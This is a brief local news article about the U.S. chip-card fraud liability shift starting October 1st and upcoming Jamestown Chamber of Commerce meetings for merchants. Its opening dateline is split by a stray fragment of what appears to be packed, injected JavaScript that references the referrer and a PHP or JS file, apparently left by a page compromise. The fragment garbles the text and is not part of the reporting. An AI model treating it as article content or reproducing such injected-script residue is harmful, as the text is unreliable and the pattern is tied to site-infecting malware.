JAMESTOWN, zakys|var|u0026u|referrer|hybzf||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – On October 1st this year, credit card companies and banking institutions will begin following new laws in the U.S.

This liability shift means in-store counterfeit fraud liability will be shifting to the financial institution or merchant that has not adapted the new chip technology in credit cards. The reason for the shift is due to card-related financial fraud. Annual costs of card fraud in the U.S. alone are estimated to be $8.6 billion per year.

Executive Director of the Jamestown Chamber of Commerce Becky Thatcher-Keller stated that the chamber will be preparing local businesses for this change in laws.

The chip in credit cards will be able to virtually eliminate in-store counterfeit fraud due to increased security benefits. The two separate meetings to discuss the shift will be Thursday, August 27th. You can contact the Chamber Offices for more information.